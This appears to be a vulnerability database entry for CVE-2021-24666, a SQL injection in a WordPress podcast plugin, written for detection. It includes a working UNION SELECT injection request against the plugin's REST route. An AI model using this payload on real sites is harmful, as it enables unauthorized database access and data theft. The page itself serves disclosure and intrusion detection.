🔙 목록으로 돌아가기

CVE-2021-24666: WordPress Podlove Podcast Publisher <3.5.6 - SQL Injection

TitleWordPress Podlove Podcast Publisher <3.5.6 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
RemediationFixed in version 3.5.6.
CVSS Score9.8
EPSS Score0.80649
CVE IDCVE-2021-24666
CWE IDCWE-89
Tags cve2021 cve sqli wordpress wp-plugin wp podlove-podcasting-plugin-for-wordpress wpscan podlove vkev vuln

🔍 Vulnerability Description

WordPress Podlove Podcast Publisher plugin before 3.5.6 is susceptible to SQL injection. The Social & Donations module, not activated by default, adds the REST route /services/contributor/(?P[\d]+) and takes id and category parameters as arguments. Both parameters can be exploited, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24666.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24666.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A